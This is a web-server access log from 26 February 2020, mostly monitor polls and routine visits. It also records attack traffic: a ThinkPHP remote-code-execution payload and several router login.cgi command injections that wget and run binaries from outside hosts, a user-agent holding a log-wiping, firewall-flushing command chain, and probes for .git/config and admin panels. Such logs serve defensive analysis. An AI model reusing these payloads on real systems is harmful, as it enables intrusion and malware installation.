103.242.119.217 - - [26/Feb/2020:08:03:23 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:24 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:24 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:24 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:24 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:24 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:24 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:25 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:25 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:25 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
103.242.119.217 - - [26/Feb/2020:08:03:25 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [26/Feb/2020:08:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.110.20.38 - - [26/Feb/2020:08:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.53.28.207 - - [26/Feb/2020:08:08:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:08:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.150.39.206 - - [26/Feb/2020:08:09:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
119.197.27.4 - - [26/Feb/2020:08:09:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:08:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.4.14.34 - - [26/Feb/2020:08:10:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:08:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /admin/.git/config HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /shop/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /beta/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /a/.git/config HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /git/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /m/.git/config HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /staging/.git/config HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /dev/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /store/.git/config HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /developer/.git/config HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /new/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /qa/.git/config HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /.git/config HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /demo/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:05 +0100] "GET /cms/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:06 +0100] "GET /data/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:06 +0100] "GET /live/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.217.177 - - [26/Feb/2020:08:11:06 +0100] "GET /api/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
212.91.246.72 - - [26/Feb/2020:08:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.204.222.223 - - [26/Feb/2020:08:15:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [26/Feb/2020:08:16:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [26/Feb/2020:08:16:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.33.235.34 - - [26/Feb/2020:08:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.105.27.14 - - [26/Feb/2020:08:16:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [26/Feb/2020:08:16:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:08:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [26/Feb/2020:08:17:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:08:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.40.87.113 - - [26/Feb/2020:08:19:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
190.104.168.183 - - [26/Feb/2020:08:19:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.90.9.61 - - [26/Feb/2020:08:20:56 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:20:57 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:20:58 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:20:58 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:20:59 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:21:00 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:21:00 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:21:01 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.90.9.61 - - [26/Feb/2020:08:21:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:08:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.209.38.41 - - [26/Feb/2020:08:27:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:08:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.92 - - [26/Feb/2020:08:28:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
81.213.207.80 - - [26/Feb/2020:08:28:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
196.52.43.92 - - [26/Feb/2020:08:29:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.155.4.64 - - [26/Feb/2020:08:30:08 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:10 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:11 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:11 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:13 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:14 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:14 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:15 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.155.4.64 - - [26/Feb/2020:08:30:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:08:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.251.167.99 - - [26/Feb/2020:08:32:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.105.135.199 - - [26/Feb/2020:08:38:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:08:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.84.140.214 - - [26/Feb/2020:08:40:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.129.50.37 - - [26/Feb/2020:08:41:46 +0100] "GET http://www.proxylists.net/proxyjudge.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; SiteKiosk 4.0; MSIE 5.0; Windows 98; SiteCoach 1.0)"
212.91.246.72 - - [26/Feb/2020:08:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.224.84.64 - - [26/Feb/2020:08:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.214.99 - - [26/Feb/2020:08:46:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [26/Feb/2020:08:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.197.115.127 - - [26/Feb/2020:08:48:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.239.163.9 - - [26/Feb/2020:08:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:08:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.239.163.9 - - [26/Feb/2020:08:51:46 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [26/Feb/2020:08:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.200.188.226 - - [26/Feb/2020:08:54:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:08:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.61.142.133 - - [26/Feb/2020:08:56:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
144.76.182.18 - - [26/Feb/2020:08:56:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:21 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:21 +0100] "GET /sitemap.xml HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:21 +0100] "GET /sitemap-index.xml HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [26/Feb/2020:08:56:21 +0100] "GET /sitemaps/sitemap.xml HTTP/1.1" 404 337 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
